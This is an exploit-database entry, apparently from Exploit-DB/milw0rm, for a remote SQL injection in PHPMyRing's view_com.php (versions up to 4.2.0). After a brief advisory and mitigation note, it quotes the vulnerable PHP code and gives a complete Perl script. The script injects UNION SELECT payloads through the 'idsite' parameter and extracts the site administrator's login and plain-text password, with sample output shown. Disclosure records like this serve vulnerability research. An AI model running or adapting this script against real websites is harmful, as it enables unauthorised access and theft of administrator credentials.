PHPMyRing's (view_com.php) Remote SQL injection Exploit

vendor:

PHPMyRing

by:

Simo Ben youssef

CVSS

CRITICAL

Remote SQL injection

CWE

Product Name: PHPMyRing

Affected Version From: <= 4.2.0

Affected Version To: <= 4.2.0

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

2006

PHPMyRing’s (view_com.php) Remote SQL injection Exploit

This exploit allows an attacker to inject SQL queries through the 'idsite' parameter in the view_com.php file of the PHPMyRing web application. By manipulating the 'idsite' parameter, an attacker can extract the admin login and plain text password from the database.

Mitigation:

Sanitize user input and use prepared statements to prevent SQL injection attacks. Update to a non-vulnerable version of PHPMyRing.

Source

Exploit-DB raw data:

# Title: PHPMyRing's (view_com.php) Remote SQL injection Exploit
#
# Vendor: phpmyring
#
# webiste : http://phpmyring.sourceforge.net/
#
# Version : <= 4.2.0
#
# Severity: Critical
#
# Discovered by: Simo64 <simo64_at_morx_org>
# 
# Exploit writting by: Simo Ben youssef <simo_at_morx_org>
#
# Discovered: 09 Aout 2006
# 
# Published : 10 Aout 2006
# 
# MorX Security Research Team
# 
# http://www.morx.org
#
# Details: 
#
# vulnerable code on view_com.php line ( 14 - 24)
# 
# [code]
# -----------------------------------------------------------------------------------
# if (!$idsite)
#    {
#    echo "<p align=\"center\">"._("Erreur! Le n&deg; du site n'est pas d&eacute;fini!")."</p>";
#    }
# else
#     {
#     // On va aller chercher le nom du site consern., .a sera fait ;)
#     // Connexion MySQL
#     $conn=connecte();
#     $row=mysql_fetch_array(requete("SELECT site_nom FROM webring WHERE idsite=$idsite"));  # <== SQL injection
#     $site_nom=$row['site_nom'];
#     
# ...............
# 
# <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
# <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<? echo _("fr"); ?>">
# <head>
# <title><? echo _("Commentaires du site"). " ".$site_nom; ?></title>    
# ---------------------------------------------------------------------------------[/code]
# 
# $idsite is not properly sanitized and can be used to inject sql query
# 
# Exploit to extract both admin login and plain text password:
#
# C:\>perl ring.pl 127.0.0.1 webring
# #################################################
# #   PHPMyRing's Remote SQL injection Exploit    #
# #   Discovered by simo64_at_morx_org            #
# #   Script writting by simo_at_morx_org         #
# #         MorX Security Research Team           #
# #                 www.morx.org                  #
# #################################################

# [*] Trying to get the admin login ...

# [+] your admin login is --> admin

# [+] your admin pass is --> 123456
 
use IO::Socket;

if(!defined($ARGV[0] && $ARGV[1])) {

system (clear);
print "\n";
print "#################################################\n";
print "#   PHPMyRing's Remote SQL injection Exploit    #\n";
print "#   Discovered by simo64_at_morx_org            #\n";
print "#   Script writting by simo_at_morx_org         #\n";
print "#         MorX Security Research Team           #\n";
print "#                 www.morx.org                  #\n";
print "#################################################\n\n";

print "--- Usage:   perl $0 <host> <folder>\n";
print "--- Example: perl $0 127.0.0.1 afd_webring\n\n";
exit; }

$TARGET            = $ARGV[0];

$FOLDER            = $ARGV[1];

$PORT              = "80";

$SCRIPT            = "/view_com.php?idsite=";

$SQLPASS           = "-1%20UNION%20SELECT%20passadm%20FROM%20webring_adm";

$SQLADMIN          = "-1%20UNION%20SELECT%20loginadm%20FROM%20webring_adm";

################################################################################

$COMMAND1         = "GET /$FOLDER$SCRIPT$SQLADMIN HTTP/1.1";
$COMMAND2         = "Host: $TARGET";
$COMMAND3         = "Connection: Close";
$COMMAND4         = "GET /$FOLDER$SCRIPT$SQLPASS HTTP/1.1";

$remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$TARGET",PeerPort=>"$PORT")
|| die "Can't connect to $TARGET";

print "#################################################\n";
print "#   PHPMyRing's Remote SQL injection Exploit    #\n";
print "#   Discovered by simo64_at_morx_org            #\n";
print "#   Script writting by simo_at_morx_org         #\n";
print "#         MorX Security Research Team           #\n";
print "#                 www.morx.org                  #\n";
print "#################################################\n\n";

sleep 2;

print "[*] Trying to get the admin login ...\n\n";

print $remote "$COMMAND1\n$COMMAND2\n$COMMAND3\n\n";

while ($result = <$remote> ) {

if ($result =~ /site (.*?)</ ) {
$adminlogin = $1;
print "[+] your admin login is --> $adminlogin\n\n";
$a = 1;
}
}

if ($a == 0) 
{ 
print "[-] Failed, cant get the admin login\n\n";
print "[*] Trying to get the admin password ...\n\n";
}

$remote = IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$TARGET",PeerPort=>"$PORT")
|| die "Can't connect to $TARGET";

print $remote "$COMMAND4\n$COMMAND2\n$COMMAND3\n\n";

while ($result2 = <$remote> ) {

if ($result2 =~ /site (.*?)</ ) {
$adminpass = $1;
print "[+] your admin pass is --> $adminpass\n\n";
$b = 1;
}
}

if ($b == 0)
{ print "[-] Failed, cant get the admin password\n";
}

$remote->flush();
close($remote);
exit;

# milw0rm.com [2006-08-09]